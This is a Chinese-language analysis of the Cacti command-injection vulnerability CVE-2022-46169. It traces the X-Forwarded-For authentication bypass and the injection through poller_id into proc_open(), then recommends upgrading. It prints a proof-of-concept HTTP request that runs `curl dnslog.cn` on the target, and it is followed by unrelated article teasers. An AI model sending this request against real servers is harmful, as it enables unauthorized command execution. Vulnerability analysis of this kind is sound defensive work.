漏洞分析|Cacti命令执行漏洞 (CVE-2022-46169)

1.漏洞描述

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具,可为用户提供强大且可扩展的操作监控和故障管理框架。

该漏洞存在于remote_agent.php文件中,未经身份验证的恶意攻击者可以通过设置HTTP_变量绕过身份验证,再通过构造特殊的$poller_id 参数来触发proc_open() 函数,成功利用此漏洞可在目标服务器上执行任意命令,获取服务器的控制权限。

2.影响版本

Cacti < 1.2.23

3.影响范围

4.漏洞分析

我们先看补丁

https://github.com/Cacti/cacti/commit/7f0e16312dd5ce20f93744ef8b9c3b0f1ece2216

漏洞点主要存在于lib/functions.php、remote_agent.php

分为登录绕过和命令注入

登录绕过

我们先跟进 get_client_addr 看看

函数的作用是从 X-Forwarded-For等参数中获取值,filter_var 进行过滤,正确的地址就可以返回,X-Forwarded-For 参数可控,可以对其进行修改

接下来看remote_client_authorized函数的下半部分

gethostbyaddr 对 client_addr 获取网络主机名,当 $client_name 与 $client_addr 不同时, 进入remote_agent_strip_domain 函数

函数就是截取点号前面的值

大多数情况下,我们传进去的值为 127.0.0.1 时,就会返回 true 了

因此我们可以通过修改 X-Forwarded-For 来绕过这里的认证

命令注入

我们先看一下修复记录

跟进get_nfilter_request_var函数

函数的作用是直接获取参数,没用过滤

这里的 $local_data_ids 也是传进来的值,可控。

接下来我们关注这里的 $items ,是从数据库的 poller_item 表中取出来的,默认为空。

接下来当 $items 有了数据并且他的成员中有一个 item 也是一个数组并且键为 action,值为 2 时,即可进入命令注入的漏洞所在

在385 行有 proc_open 可以命令执行。

Poc:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`curl+dnslog.cn` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

5.修复建议

官方已经提供修复的版本,直接 github 下载即可

https://github.com/Cacti/cacti

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/315277.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

UE4工程升级UE5教程及注意事项

原文链接&#xff1a;https://mp.weixin.qq.com/s/vSVu0VsNub0J62Nz7vM6cA虚幻引擎5迁移指南 | 虚幻引擎5.3文档 (unrealengine.com) 官方教程应该是从英文直接翻译过来的&#xff0c;过多词汇没修改&#xff0c;本篇重新整理修改一下&#xff0c;供各位参考。 本教程介绍&…

Java8常用新特性

目录 简介 1.默认方法 2..Lambda表达式 3.Stream API 4.方法引用 5.Optional类 简介 Java 8是Java编程语言的一个重要版本&#xff0c;引入了许多令人兴奋和强大的新特性。这些特性使得Java程序更加现代化、灵活和高效。让我们一起来探索一些Java 8的常用新特性吧&#…

达摩研究院Paraformer语音识别-中文-通用-16k

原文&#xff1a;https://github.com/alibaba-damo-academy/FunASR/blob/main/runtime/readme_cn.md FunASR软件包路线图 English Version&#xff08;docs&#xff09; FunASR是由阿里巴巴通义实验室语音团队开源的一款语音识别基础框架&#xff0c;集成了语音端点检测、语…

FlinkCDC的分析和应用代码

前言&#xff1a;原本想讲如何基于Flink实现定制化计算引擎的开发&#xff0c;并以FlinkCDC为例介绍&#xff1b;发现这两个在表达上不知以谁为主&#xff0c;所以先分析FlinkCDC的应用场景和技术实现原理&#xff0c;下一篇再去分析Flink能在哪些方面&#xff0c;做定制化计算…

【动态规划】LeetCode-42. 接雨水

42. 接雨水。 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。 示例 1&#xff1a; 输入&#xff1a;height [0,1,0,2,1,0,1,3,2,1,2,1] 输出&#xff1a;6 解释&#xff1a;上面是由数组 [0,1,0,2,1…

OpenCV-22高斯滤波

一、高斯函数的基础 要理解高斯滤波首先要直到什么是高斯函数&#xff0c;高斯函数是符合高斯分布的&#xff08;也叫正态分布&#xff09;的数据的概率密度函数。 高斯函数的特点是以x轴某一点&#xff08;这一点称为均值&#xff09;为对称轴&#xff0c;越靠近中心数据发生…

css——文字实现渐变色的两种方案

&#xff08;一&#xff09;通过设置color、background-image及background-clip实现文字颜色渐变 <template><span class"title">文字实现渐变色的两种方案</span> </template><style> .title {color: transparent;background-image:…

Windows 项目从0到1的部署

目录 一. 安装jdk 1.1 安装jdk 1.2 配置jdk的环境配置jdk 1.3 配置成功 二. 配置tomcat 2.1 启动tomcat 2.2 防火墙设置 三. 安装MySQL 3.1 安装步骤 3.2 内部连接 3.3 外部连接 四. 部署项目 4.1 项目部署 4.2 修改mysql的用户密码 一. 安装jdk 这里给大家准备好了jdk和…

【Python】使用Opencv裁剪指定区域,再重构大小和保存示例

在Python中&#xff0c;使用OpenCV库可以很方便地截取图像的某一区域&#xff0c;然后尺寸重构&#xff0c;最后保存为新的图像文件。以下是一个示例代码&#xff0c;演示如何实现这一操作&#xff1a; import cv2# 读取图像 img cv2.imread(img.jpg)# 定义截取的区域&#x…

小学生练字神器,在线字帖生成器网站源码

源码介绍 帮助小学生规范汉字书写&#xff0c;提高汉字书写水平&#xff0c;在线小学生练字神器&#xff01;它不仅功能强大&#xff0c;而且完全免费&#xff0c;是每个小学生必备的练字工具。 海量字库&#xff1a;收录9574个常用汉字&#xff0c;满足小学生的学习需求。多…

Java面试之虚拟机

1、前言 本篇的面试题基于网络整理&#xff0c;和自己编辑。在不断的完善补充哦。 2、什么是虚拟机&#xff1f; Java 虚拟机&#xff0c;是一个可以执行 Java 字节码的虚拟机进程。Java 源文件被编译成能被 Java 虚拟机执行的字节码文件( .class )。 Java 被设计成允许应用程…

【模型评估 07】过拟合与欠拟合

在模型评估与调整的过程中&#xff0c;我们往往会遇到“过拟合”或“欠拟合”的情况。如何有效地识别“过拟合”和“欠拟合”现象&#xff0c;并有针对性地进行模型调整&#xff0c;是不断改进机器学习模型的关键。特别是在实际项目中&#xff0c;采用多种方法、从多个角度降低…

【自控实验】3. 带有饱和非线性环节控制系统相平面分析

本科课程实验报告&#xff0c;有太多公式和图片了&#xff0c;干脆直接转成图片了 仅分享和记录&#xff0c;不保证全对 实验内容&#xff1a; 有无非线性环节的相轨迹对比&#xff0c;并求超调量。 在输入单位阶跃信号Xsr时&#xff0c;用示波器观察和记录系统输入饱和非线…

最强联网Chat GPT 火爆全网高速 永久免费

&#x1f534;高速联网 秒响应支持语音通话&#x1f388; 首先介绍一下她的功能吧&#x1f601; 女友消息代回机&#x1f44c;&#x1f3fb; 朋友圈文案&#x1f44c;&#x1f3fb; 聊天话术&#x1f44c;&#x1f3fb; 高情商回复&#x1f44c;&#x1f3fb; 脱单助…

redis源码之:事件驱动epoll

一、aeEventLoop初始化 从server.c的main方法中进入initServer&#xff0c;在initServer方法中&#xff0c;server.el aeCreateEventLoop(server.maxclientsCONFIG_FDSET_INCR);创建eventloop&#xff1a;&#xff08;注意fileevent与epollevent的区分fileEvent是标识往epoll…

直播带货2024:洗牌、阵痛和暗流涌动

文 | 螳螂观察 作者 | 青月 一天前&#xff0c;大学生齐夏根本不会在直播间购买《额尔古纳河右岸》这种书籍。 她是喜欢看小说&#xff0c;但只钟爱悬疑无限流题材&#xff0c;至于《额尔古纳河右岸》这种讲述一个弱小民族顽强的抗争和优美的爱情的长篇小说&#xff0c;用齐…

mysql表的约束问题

目录 1. 表的约束问题: 主键约束: 案例&#xff1a; 非空约束 唯一约束: 默认值约束: 案例&#xff1a; 2.表的结构 前提:接上一张博客内容经行操作 1. 表的约束问题: 用来保证数据插入的安全性、完整性、正确性 主健,外键,唯一,默认值,非空,检查 1.1…

Docker的基础概念及命令

这篇主要介绍一下Docker比较重要的两个概念&#xff0c;镜像和容器&#xff0c;以及操作它们的一些常用命令。 文章目录 一、基础命令二、镜像三、容器 一、基础命令 docker -v&#xff1a;查看 Docker 的版本 systemctl start docker&#xff1a;启动docker systemctl stat…

Surface mesh结构学习

CGAL 5.6 - Surface Mesh: User Manual Surface_mesh 类是半边数据结构的实现&#xff0c;可用来表示多面体表面。它是半边数据结构&#xff08;Halfedge Data Structures&#xff09;和三维多面体表面&#xff08;3D Polyhedral Surface&#xff09;这两个 CGAL 软件包的替代品…

如何关闭iPhone 14或14 Pro Max,这里有详细步骤

你刚买了新的iphone 14或iphone 14 pro max&#xff0c;迫不及待地想开始使用它。但如果你需要关闭它怎么办&#xff1f;有几种方法可以用来关闭这两种设备。 如何关闭iPhone 14 你可以通过每个人都熟悉的老式侧按钮轻松关闭iPhone 14&#xff0c;也可以通过面部识别关闭它。 …